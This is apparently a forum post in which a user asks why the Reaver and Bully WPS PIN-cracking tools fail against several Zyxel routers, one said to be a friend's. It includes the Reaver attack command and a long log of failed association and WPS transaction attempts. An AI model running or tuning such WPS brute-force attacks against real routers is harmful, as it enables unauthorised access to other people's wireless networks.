i am using kali Linux 1.1.0 and reaver 1.5 and Bully (Latest Git). the problem is Reaver is not working with most of the Zyxel brand Routers, WPS is enabled. i tried reaver and bully on my Friends Router and i get nothing just " WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: (null)" and after sometime when it successfully associate then i get EAPOL warning and sometime "WPS transaction Error" . interesting thing is i tried this reaver on three Zyxel routers , Same result and also these all Routers Manufacturing date is 2009-2010 (When WPS flaw is not Gone Public). This problem is only related to Zyxel F4:3E:61:xx:xx:xx Brands. So someone explain me why this not working with these Brands?? And also Help me to resolve this issue . (See the below Output and Link for my bully output and WPS settings Screen Shot)..

http://i.imgur.com/NngbBZ7.png
http://i.imgur.com/uSdk9wE.png


reaver -i mon0 -b F4:3E:61:9C:80:xx -vv
Reaver v1.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
[+] Waiting for beacon from F4:3E:61:9C:80:xx
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: (null))
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: (null))
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: (null))
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: (null))
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: (null))
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: (null))
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: (null))
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: (null))
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: (null))
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: (null))
[+] Switching mon0 to channel 11
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[+] Associated with F4:3E:61:9C:80:xx (ESSID: TOILET)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 12345670.
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 12345670.
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 12345670.
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Nothing done, nothing to save.
[+] 0.00% complete. Elapsed time: 0d0h0m8s.
[+] Trying pin 12345670.
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 12345670.
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 12345670.
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[!] WARNING: 10 failed connections in a row
[+] Trying pin 12345670.
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Nothing done, nothing to save.
[+] 0.00% complete. Elapsed time: 0d0h0m15s.
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 12345670.
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 12345670.
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[!] WARNING: Failed to associate with F4:3E:61:9C:80:xx (ESSID: TOILET)
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 12345670.
^C
[+] Nothing done, nothing to save.

Thanks in Advance..